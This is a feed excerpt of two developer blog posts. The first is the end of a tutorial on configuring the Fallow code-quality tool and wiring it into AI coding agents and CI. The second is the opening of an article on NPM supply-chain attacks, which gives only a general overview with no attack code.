&lt;p&gt;The report is organized into several subsections that highlight files with large functions, highly complex functions, low file health scores, and other maintainability concerns.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; class=&quot;alignnone size-full wp-image-214519&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-4.png&quot; alt=&quot;&quot; width=&quot;1580&quot; height=&quot;742&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-4.png 1580w, https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-4-300x141.png 300w, https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-4-1024x481.png 1024w, https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-4-768x361.png 768w, https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-4-1536x721.png 1536w&quot; sizes=&quot;auto, (max-width: 1580px) 100vw, 1580px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;large-functions&quot;&gt;&lt;strong data-start=&quot;248&quot; data-end=&quot;293&quot;&gt;How does Fallow identify large functions?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;The Large Functions section lists every function that exceeds &lt;code&gt;Fallow&lt;/code&gt;‘s size threshold, along with its location in the codebase. For each entry, it shows the function name, the starting line, and the total line range.&lt;/p&gt;
&lt;p&gt;Using the first entry in the example above, we can see that the signup.tsx file contains a signupForm function that starts on line 13 and spans 196 lines.&lt;/p&gt;
&lt;h3 id=&quot;high-complexity&quot;&gt;How does Fallow measure code complexity?&lt;/h3&gt;
&lt;p&gt;The High Complexity Functions section can look intimidating at first, but it simply measures how difficult a function is to understand, maintain, and test. &lt;code&gt;Fallow&lt;/code&gt; reports three complexity metrics for each function:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cyclomatic:&lt;/strong&gt; The cyclomatic complexity score indicates how many different branches there are in a function. What this essentially means is that every time you have an if statement, a ternary, or a switch statement in your code, it adds to the cyclomatic complexity count. In the example above, the handleSubmit function has a cyclomatic complexity of 7, meaning it contains seven execution paths, which is still a reasonable score&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cognitive:&lt;/strong&gt; This measures how difficult a function is to read and understand. Deep nested if statements, loops, and other control-flow structures increase the cognitive complexity because they make the code harder to follow. In the example, the handleSubmit function has a cognitive complexity of 4&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CRAP:&lt;/strong&gt; The CRAP (Change Risk Anti-Patterns) score combines a function’s complexity with its test coverage. A complex function with little or no test coverage receives a high CRAP score, while a similarly complex function with good test coverage scores much lower. In the example above, the handleSubmit function has a high CRAP score because it’s relatively complex and doesn’t have corresponding tests&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;file-health-score&quot;&gt;How does the File Health Score work?&lt;/h3&gt;
&lt;p&gt;The File Health Score section provides an overall assessment of each file’s maintainability. It takes several factors into account, including the file’s complexity, the amount of dead code it contains, the number of files it imports, and how many other files depend on it.&lt;/p&gt;
&lt;p&gt;These metrics are combined to produce a health score and an associated risk level. The risk score is influenced by multiple factors, with high CRAP scores contributing significantly because they indicate complex code with insufficient test coverage.&lt;/p&gt;
&lt;h3 id=&quot;hotspots&quot;&gt;What are Hotspots in Fallow?&lt;/h3&gt;
&lt;p&gt;The Hotspots section identifies the files that are most likely to become maintenance problems over time. It analyzes your Git history to determine which files change most frequently and combines that information with each file’s maintainability metrics.&lt;/p&gt;
&lt;p&gt;This is because a complex file that is modified in almost every pull request is far more likely to accumulate bugs and technical debt than one that’s rarely touched.&lt;/p&gt;
&lt;p&gt;As a result, files that change frequently and have poor maintainability scores are ranked highest in the Hotspots report.&lt;/p&gt;
&lt;h3 id=&quot;refactoring-target&quot;&gt;How does Fallow identify refactoring targets?&lt;/h3&gt;
&lt;p&gt;This is the final section of the report. It provides a ranked list of the best places to start refactoring based on the effort required and the potential impact.&lt;/p&gt;
&lt;p&gt;Files are ranked using a combination of complexity, duplication, and dead code metrics, helping you identify the changes that are likely to deliver the greatest return for the least amount of work.&lt;/p&gt;
&lt;p&gt;Think of this section as a high-level cleanup roadmap. Instead of focusing on individual issues, it helps you decide where to invest your refactoring effort first.&lt;/p&gt;
&lt;h2 id=&quot;fine-tuning-and-configuration&quot;&gt;&lt;strong data-start=&quot;1592&quot; data-end=&quot;1624&quot;&gt;How do you configure Fallow?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Although &lt;code&gt;Fallow&lt;/code&gt; doesn’t require any configuration to generate a useful report, as we’ve seen in the previous sections, it can occasionally produce false positives, particularly in the Dead Code and Duplication reports.&lt;/p&gt;
&lt;p&gt;This happens because static analysis can’t always distinguish intentional patterns from actual issues. For example, duplicated code in test files, repeated data structures, or application entry points may be flagged as duplicate or unused even though they’re required.&lt;/p&gt;
&lt;p&gt;To reduce these false positives, you can create a configuration file. This allows you to specify your project’s entry points, define files and directories to ignore, and customize other settings so &lt;code&gt;Fallow&lt;/code&gt; can produce more accurate results.&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot;&gt;npx fallow init&lt;/pre&gt;
&lt;p&gt;This command generates a &lt;code&gt;.fallowrc.json&lt;/code&gt; file in your project’s root directory. Open the file, set your project’s entry points, and add any files or directories you want &lt;code&gt;Fallow&lt;/code&gt; to ignore to the ignorePattern field, as shown below:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
   &quot;$schema&quot;:      &quot;&lt;a href=&quot;https://raw.githubusercontent.com/fallow-rs/fallow/main/schema.json&quot;&gt;https://raw.githubusercontent.com/fallow-rs/fallow/main/schema.json&lt;/a&gt;&quot;,
  &quot;entry&quot;: [&quot;src/workers/*.ts&quot;, &quot;scripts/*.ts&quot;],
   &quot;ignorePatterns&quot;: [
    &quot;src/data/data/**&quot;,
    &quot;**/*.generated.ts&quot;,
    &quot;**/__tests__/**&quot;
    ]
 }&lt;/pre&gt;
&lt;p&gt;You can also configure the severity of individual rules on a per-file basis, or disable rules you’re not ready to enforce by setting their severity to off. &lt;code&gt;Fallow&lt;/code&gt; also lets you customize its duplication detection mode and many other aspects of its analysis.&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
    &quot;rules&quot;: {
    &quot;unused-files&quot;: &quot;error&quot;,
    &quot;unused-exports&quot;: &quot;warn&quot;,
    &quot;unused-types&quot;: &quot;off&quot;,
  },
  &quot;duplicates&quot;: {
    &quot;mode&quot;: &quot;mild&quot;,
    &quot;minTokens&quot;: 50,
    &quot;minLines&quot;: 5,
    &quot;threshold&quot;: 10
  },
}&lt;/pre&gt;
&lt;p&gt;In cases where you have unused exports that are consumed by external projects and therefore have no internal references, you don’t have to exclude the entire file. Instead, you can use &lt;code&gt;Fallow&lt;/code&gt;‘s inline suppression comments (&lt;code&gt;fallow-ignore&lt;/code&gt;) or JSDoc visibility tags to selectively ignore those exports.&lt;/p&gt;
&lt;pre class=&quot;language-typescript&quot;&gt;// Suppress all issues on the next line
// fallow-ignore-next-line
export const keepThis = 1;&lt;/pre&gt;
&lt;pre class=&quot;language-typescript&quot;&gt;// Suppress a specific issue type
// fallow-ignore-next-line unused-export
export const keepThisToo = 2;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Fallow&lt;/code&gt; recognizes four JSDoc visibility tags: &lt;code&gt;@public&lt;/code&gt;, &lt;code&gt;@internal&lt;/code&gt;, &lt;code&gt;@beta&lt;/code&gt;, &lt;code&gt;@alpha&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-typescript&quot;&gt;/** @public */
export function createClient() {
  // Not imported anywhere in this repo, but consumed by users of the library
}&lt;/pre&gt;
&lt;pre class=&quot;language-typescript&quot;&gt;/** @internal */
export function resetState() {
  // Used by sibling packages in the monorepo, not public API
}&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Fallow&lt;/code&gt; also provides the &lt;code&gt;@expected-unused&lt;/code&gt; JSDoc tag for exports that are intentionally unused. Unlike visibility tags, this annotation is tracked. If the export is eventually referenced, &lt;code&gt;Fallow&lt;/code&gt; marks the tag as stale, letting you know it’s no longer needed and can be removed.&lt;/p&gt;
&lt;pre class=&quot;language-typescript&quot;&gt;/** @expected-unused */
export const deprecatedHelper = () =&amp;gt; {
  // Intentionally kept but not used anywhere
};&lt;/pre&gt;
&lt;p&gt;To learn more about inline suppressions and the many ways you can configure &lt;code&gt;Fallow&lt;/code&gt;, refer to the &lt;a href=&quot;https://docs.fallow.tools/configuration/suppression#jsdoc-visibility-tags&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;integrating-fallow-into-your-workflow&quot;&gt;Integrating &lt;code&gt;Fallow&lt;/code&gt; into your workflow&lt;/h2&gt;
&lt;p&gt;Where &lt;code&gt;Fallow&lt;/code&gt; really shines is its integration with AI-assisted development workflows. The idea is to instruct your coding agent to run &lt;code&gt;Fallow&lt;/code&gt; against every newly implemented feature and use the report to fix any issues before considering the task complete.&lt;/p&gt;
&lt;p&gt;Every &lt;code&gt;Fallow&lt;/code&gt; command accepts the &lt;code&gt;--format json&lt;/code&gt; flag, which returns a structured JSON object that AI agents can easily parse. For example, running the default fallow command with the flag:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot;&gt;npx fallow --format json&lt;/pre&gt;
&lt;p&gt;Executes every analysis combined: dead code, duplication, and health metrics, and returns a single JSON report like the one in the image below.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; class=&quot;alignnone size-full wp-image-214520&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-5.png&quot; alt=&quot;&quot; width=&quot;1598&quot; height=&quot;892&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-5.png 1598w, https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-5-300x167.png 300w, https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-5-1024x572.png 1024w, https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-5-768x429.png 768w, https://blog.logrocket.com/wp-content/uploads/2026/07/Unknown-5-1536x857.png 1536w&quot; sizes=&quot;auto, (max-width: 1598px) 100vw, 1598px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;The returned JSON object includes an actions array containing suggested fixes, along with an &lt;code&gt;auto_fixable&lt;/code&gt; flag that tells the agent whether an issue can be resolved automatically. This allows the agent to decide whether to run fallow fix –yes for straightforward fixes or implement the changes manually when needed.&lt;/p&gt;
&lt;p&gt;You can then instruct your AI agent, either through an &lt;code&gt;agent.md&lt;/code&gt; file or manually, to run &lt;code&gt;Fallow&lt;/code&gt; with the &lt;code&gt;--format json&lt;/code&gt; flag before every commit, ensuring new code meets your project’s quality standards.&lt;/p&gt;
&lt;h3 id=&quot;using-the-fallow-skill&quot;&gt;How do you use the &lt;code&gt;Fallow&lt;/code&gt; AI skill?&lt;/h3&gt;
&lt;p&gt;An even better option is to install &lt;code&gt;Fallow&lt;/code&gt;‘s official AI skill if your coding agent supports it. The skill gives the agent access to &lt;code&gt;Fallow&lt;/code&gt;‘s commands directly, so it doesn’t have to guess which commands to run or how to use them.&lt;/p&gt;
&lt;p&gt;You can install it in Claude through the plugin marketplace or by running the following command:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot;&gt;/plugin marketplace add fallow-rs/fallow-skills
/plugin install fallow-skills@fallow-rs/fallow-skills&lt;/pre&gt;
&lt;p&gt;For Codex, &lt;a href=&quot;https://blog.logrocket.com/building-github-copilot-app/&quot;&gt;Copilot&lt;/a&gt;, Cursor, and other supported agents, install the skill into the agent’s respective skills directory using the following command:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot;&gt;git clone &lt;a href=&quot;https://github.com/fallow-rs/fallow-skills&quot;&gt;https://github.com/fallow-rs/fallow-skills.git&lt;/a&gt;&lt;/pre&gt;
&lt;p&gt;Once the skill is installed, the agent can automatically choose the appropriate &lt;code&gt;Fallow&lt;/code&gt; analysis, Dead Code, Duplication, or Health, based on the task you’ve given it. It then uses the results to perform the actions you’ve instructed, whether that’s fixing issues, refactoring code, or generating recommendations.&lt;/p&gt;
&lt;h3 id=&quot;using-fallow-mcp&quot;&gt;How do you use the &lt;code&gt;fallow-mcp&lt;/code&gt;server?&lt;/h3&gt;
&lt;p&gt;Another way to integrate &lt;code&gt;Fallow&lt;/code&gt; into your workflow is by installing the &lt;code&gt;fallow-mcp&lt;/code&gt; server, provided your AI client supports MCP. Once installed, all you need to do is add the following configuration to your client’s MCP settings:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;fallow&quot;: {
      &quot;command&quot;: &quot;fallow-mcp&quot;
    }
  }
}&lt;/pre&gt;
&lt;p&gt;With that in place, your agent will have access to tools such as &lt;code&gt;analyze&lt;/code&gt;, &lt;code&gt;check_changed&lt;/code&gt;, and &lt;code&gt;find_dupes,&lt;/code&gt; which allow it to inspect your codebase and return structured results that it can act on.&lt;/p&gt;
&lt;h3 id=&quot;ci-cd-integration&quot;&gt;How do you integrate Fallow into a CI/CD pipeline?&lt;/h3&gt;
&lt;p&gt;While your AI agent will generally follow &lt;code&gt;Fallow&lt;/code&gt;‘s recommendations and the policies you’ve configured, it won’t always get it right. It’s still an AI, and there may be times when it ignores an issue, proceeds with the implementation, and pushes code that shouldn’t make it into production.&lt;/p&gt;
&lt;p&gt;To guard against this, you can add &lt;code&gt;Fallow&lt;/code&gt; as a final quality gate in your CI/CD pipeline. This ensures every change is analyzed before it’s merged or deployed, even if your AI agent fails to follow your instructions.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Fallow&lt;/code&gt; integrates with virtually any CI platform. For example, to use it with GitHub Actions, simply add the following code to your workflow file:&lt;/p&gt;
&lt;pre class=&quot;language-yaml&quot;&gt;name: Fallow analysis
on: [push, pull_request]


jobs:
  fallow:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: fallow-rs/fallow@v2
        with:
          format: sarif&lt;/pre&gt;
&lt;p&gt;With this in place, your CI pipeline will catch dead code, duplication, complexity, and other code quality issues that slip past your AI agent or manual review on every push or pull request.&lt;/p&gt;
&lt;p&gt;For instructions on integrating &lt;code&gt;Fallow&lt;/code&gt; with other CI platforms and customizing its configuration, refer to the &lt;a href=&quot;https://fallow.tools/docs/integrations/ci/&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;In this article, you learned how to use &lt;code&gt;Fallow&lt;/code&gt; to analyze your codebase, identify dead code, duplicate logic, and maintainability issues, and integrate those insights into your AI-assisted development workflow.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Fallow&lt;/code&gt; offers far more than we’ve covered here, with additional configuration options, analysis modes, and integrations to suit different projects and workflows. Explore the documentation to customize its behavior and make it a regular part of your development process. As AI-generated code becomes more common, tools like &lt;code&gt;Fallow&lt;/code&gt; can help ensure your codebase stays clean, maintainable, and easy to evolve.&lt;/p&gt;


&lt;/div&gt;
            &lt;style&gt;
    .share-icon.share-twitter span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-twitter.svg&quot;);
    }

    .share-icon.share-reddit span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-reddit.svg&quot;);
    }

    .share-icon.share-linkedin span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-linkedin.svg&quot;);
    }

    .share-icon.share-facebook span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-facebook.svg&quot;);
    }
&lt;/style&gt;

            &lt;ul id=&quot;post-tags&quot;&gt;
            &lt;li&gt;
        &lt;a rel=&quot;tag&quot; href=&quot;https://blog.logrocket.com/tag/ai/&quot;&gt;#ai&lt;/a&gt;
        &lt;/li&gt;
    &lt;/ul&gt;
            &lt;!-- This is where popips should go --&gt;
            &lt;div id=&quot;popups&quot;&gt;&lt;/div&gt;
        &lt;/div&gt;
    </description><link>https://blog.logrocket.com/clean-ai-code-fallow/</link><guid isPermaLink="false">https://blog.logrocket.com/clean-ai-code-fallow/</guid><pubDate>Invalid Date</pubDate><author>David Omotayo</author></item><item><title>How to secure full-stack projects from NPM attacks</title><description>&lt;aside&gt;
            &lt;div class=&quot;sticky&quot;&gt;
                                
&lt;div class=&quot;toc-container&quot; id=&quot;post-toc&quot;&gt;
            &lt;div class=&quot;toc-header&quot;&gt;
            &lt;span class=&quot;toc-title&quot;&gt;
                Table of contents            &lt;/span&gt;
            &lt;i class=&quot;fa fa-chevron-down toc-collapse&quot;&gt;&lt;/i&gt;
            &lt;i class=&quot;hide fa fa-chevron-up toc-expand&quot;&gt;&lt;/i&gt;
        &lt;/div&gt;
        
&lt;ul data-toc-name=&quot;root&quot; class=&quot;toc&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/secure-full-stack-npm/#the-rise-of-supply-chain-attacks&quot;&gt;Why are NPM supply chain attacks increasing?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;the-rise-of-supply-chain-attacks&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/secure-full-stack-npm/#what-is-a-supply-chain-attack&quot;&gt;What is a supply chain attack?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-is-a-supply-chain-attack&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/secure-full-stack-npm/#how-does-a-supply-chain-worm-spread&quot;&gt;How does a supply chain worm spread?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-does-a-supply-chain-worm-spread&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/secure-full-stack-npm/#recent-supply-chain-attack-wave-s-victims&quot;&gt;Which projects were affected by recent NPM supply chain attacks?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;recent-supply-chain-attack-wave-s-victims&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/secure-full-stack-npm/#what-does-a-supply-chain-worm-do&quot;&gt;What does a supply chain worm do?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-does-a-supply-chain-worm-do&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/secure-full-stack-npm/#how-do-your-full-stack-projects-get-compromised&quot;&gt;&lt;strong&gt;How do supply chain attacks compromise full-stack projects?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-your-full-stack-projects-get-compromised&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/secure-full-stack-npm/#from-compromised-dependencies&quot;&gt;How can compromised dependencies infect your project?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;from-compromised-dependencies&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/secure-full-stack-npm/#weaker-code-reviews&quot;&gt;Can weak code reviews introduce malware?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;weaker-code-reviews&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/secure-full-stack-npm/#weaker-permission-handling&quot;&gt;How do weak permissions increase supply chain risk?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;weaker-permission-handling&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/secure-full-stack-npm/#malicious-copy-paste-code-and-commands&quot;&gt;Can copied code and commands infect your project?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;malicious-copy-paste-code-and-commands&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/secure-full-stack-npm/#compromised-ci-cd-workflows&quot;&gt;How can CI/CD pipelines be compromised?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;compromised-ci-cd-workflows&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/secure-full-stack-npm/#compromised-ai-agents-and-skills&quot;&gt;Can AI coding assistants spread supply chain malware?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;compromised-ai-agents-and-skills&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/secure-full-stack-npm/#a-practical-checklist-to-safeguard-your-full-stack-projects&quot;&gt;&lt;strong&gt;How do you protect full-stack projects from supply chain attacks?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;a-practical-checklist-to-safeguard-your-full-stack-projects&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/secure-full-stack-npm/#how-to-handle-a-security-incident&quot;&gt;What should you do after a supply chain attack?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-to-handle-a-security-incident&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/secure-full-stack-npm/#conclusion&quot;&gt;Conclusion&lt;/a&gt;
        &lt;ul data-toc-name=&quot;conclusion&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/div&gt;
                &lt;div class=&quot;plug-gutter&quot;&gt;
    &lt;div class=&quot;plug-gutter--image&quot;&gt;
        &lt;img src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/12/GalileoAIPreview.png&quot; alt=&quot;LogRocket Galileo logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-gutter--top&quot;&gt;Introducing Galileo AI&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--bottom&quot;&gt;LogRocket’s Galileo AI watches every session, surfacing impactful user struggle and key behavior patterns.&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--cta&quot;&gt;
        &lt;a href=&quot;https://logrocket.com/products/galileo-ai&quot; class=&quot;plug-gutter--button&quot;&gt;LEARN MORE&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;


            &lt;/div&gt;
        &lt;/aside&gt;
        &lt;div id=&quot;the-content-container&quot;&gt;&lt;style&gt;
.plug-dev-top--card {
    border: 2px solid rgba(118, 74, 188, 0.2);
    border-radius: 8px;
    background-color: #491d90;
    justify-content: space-between;
    align-items: center;
    padding: 16px;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    display:flex;
    gap: 1rem;
    cursor: pointer;
}

.plug-dev-top--logo {
    width: 48px;
    height: 48px;
    border-radius: 50%;
}

.plug-dev-top--blurb {
    h2 {
        font-weight: 800;
        font-size: 22px;
        line-height: 22px;
        color: #fff;
        width: 70%;
        margin: 0 0 5px 0;
    }

    h3 {
        font-weight: 900;
        font-size: 13px;
        line-height: 13px;
        letter-spacing: 0.1em;
        color: #fff;
        opacity: 0.5;
        white-space: nowrap;
        margin: 0;
    }
}

.plug-dev-top--cta {
    background-color: #fff;
    color: #764abc;
    border: none;
    border-radius: 4px;
    padding: 10px;
    font-size: 16px;
    font-weight: 800;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    text-decoration: none;
    width: 25%;
    text-align: center;

    &amp;:hover {
        text-decoration: none;
        color: #a58ec8;
    }
}

.plug-dev-top--asset {
    position: relative;
    height: 400px;
    overflow: hidden;
    transition: all 0.3s ease;
    margin-top: 30px;

    &amp;.lr-hidden {
        height: 0;
        margin: 0;
    }
}
&lt;/style&gt;
&lt;div class=&quot;plug-dev-top&quot;&gt;
    &lt;div class=&quot;plug-dev-top--card&quot;&gt;
        &lt;img class=&quot;plug-dev-top--logo&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/04/logrocket-logo-1.png&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;div class=&quot;plug-dev-top--blurb&quot;&gt;
            &lt;h2&gt;See how LogRocket&#39;s Galileo AI surfaces the most severe issues for you&lt;/h2&gt;
            &lt;h3&gt;No signup required&lt;/h3&gt;
        &lt;/div&gt;
        &lt;div class=&quot;plug-dev-top--cta&quot;&gt;Check it out&lt;/div&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-dev-top--asset lr-hidden&quot;&gt;
        &lt;div style=&quot;position: absolute; top: 0; left: 0; height: 100%; width: 100%&quot;&gt;
            &lt;iframe id=&quot;galileo-wistia-iframe&quot; src=&quot;https://fast.wistia.net/embed/iframe/x7kl3pp560?web_component=true&amp;amp;seo=true&quot; title=&quot;Galileo AI Overview - May 2025 Video&quot; allow=&quot;autoplay; fullscreen&quot; class=&quot;wistia_embed&quot; name=&quot;wistia_embed&quot; width=&quot;100%&quot; height=&quot;100%&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
            &lt;/iframe&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



            
&lt;div class=&quot;lr-content&quot;&gt;
    &lt;!-- TEMP: .article-post is only used for adinserter to hook into --&gt;
    &lt;div class=&quot;article-post&quot;&gt;&lt;/div&gt;
    
&lt;p&gt;2025 and 2026 reminded every full-stack developer about how vulnerable their full-stack project development and deployment workflows are. Axios, Chalk, TanStack, Debug.js, and many popular NPM packages with millions of weekly downloads were compromised by the highly destructive Shai-Hulud worm, its variants, and similar supply chain worms, which silently steal data and spread. Meanwhile, developers’ AI agent instances, including OpenClaw, were compromised and spread immutable blockchain-backed Claw-Havoc-like worms, injecting undetectable malicious code into their serious full-stack projects via altered Git commits.&lt;/p&gt;&lt;img fetchpriority=&quot;high&quot; decoding=&quot;async&quot; width=&quot;895&quot; height=&quot;597&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/npm-packages-2.png&quot; class=&quot;attachment-full size-full wp-post-image&quot; alt=&quot;&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/npm-packages-2.png 895w, https://blog.logrocket.com/wp-content/uploads/2026/07/npm-packages-2-300x200.png 300w, https://blog.logrocket.com/wp-content/uploads/2026/07/npm-packages-2-768x512.png 768w&quot; sizes=&quot;(max-width: 895px) 100vw, 895px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;p&gt;Strengthening your app security isn’t always about improving authentication, rate limiting, user-input validation, and using security precautions to protect the running production app instance ;  highly destructive supply chain worms can enter at any weaker point in your development and deployment workflows and propagate to the production app, gaining threat actors full access to the running production app instance.&lt;/p&gt;
&lt;p&gt;I’ve put together a practical checklist for securing full-stack projects, based on what I learned from the codebase compromise incident involving my most popular open source project, Neutralinojs. In this article, we’ll look at how modern supply chain attacks affect projects and walk through a practical security checklist to help protect your own.&lt;/p&gt;
&lt;h2 id=&quot;the-rise-of-supply-chain-attacks&quot;&gt;Why are NPM supply chain attacks increasing?&lt;/h2&gt;
&lt;p&gt;Modern cloud-based digital products are nearly impossible to hack directly from public networks due to advanced security implementations, security-first design practices, and hardware/algorithmic limitations (the slowness of integer factorization protects RSA). So, threat actors try to gain access to highly protected products indirectly using supply chain threats.&lt;/p&gt;
&lt;h3 id=&quot;what-is-a-supply-chain-attack&quot;&gt;What is a supply chain attack?&lt;/h3&gt;
&lt;p&gt;A supply chain attack refers to a digital product security attack where a threat actor gradually gains unauthorized access to a larger, more secure software system by compromising its &lt;a href=&quot;https://podrocket.logrocket.com/unpacking-npm-supply-chain-attacks-feross-aboukhadijeh&quot;&gt;supply chain components&lt;/a&gt;, which include dependency packages, developer PCs, DevOps servers, and third-party development or deployment services.&lt;/p&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://paper-attachments.dropboxusercontent.com/s_CF60FA7324584930E41E96185E0CA3C43125EE542217893B1BAFE43A7E16644E_1781247291102_devs1.png&quot; alt=&quot;How threat actors indirectly gain access to secure software systems using the supply chain attack tactics&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Modern supply chain attacks use worms that spread exponentially among the developer community as obfuscated JavaScript code until they reach secure, production projects.&lt;/p&gt;
&lt;h3 id=&quot;how-does-a-supply-chain-worm-spread&quot;&gt;How does a supply chain worm spread?&lt;/h3&gt;
&lt;p&gt;Supply chain worms have a rapid spread cycle. They enter the developer community codebases at a weaker point, usually via social engineering or compromised code, compromise developer PCs, and spread to another dependency project, and so on, until the worm reaches a larger, secure software system that threat actors are interested in.&lt;/p&gt;
&lt;p&gt;The following diagram depicts this cycle:&lt;/p&gt;
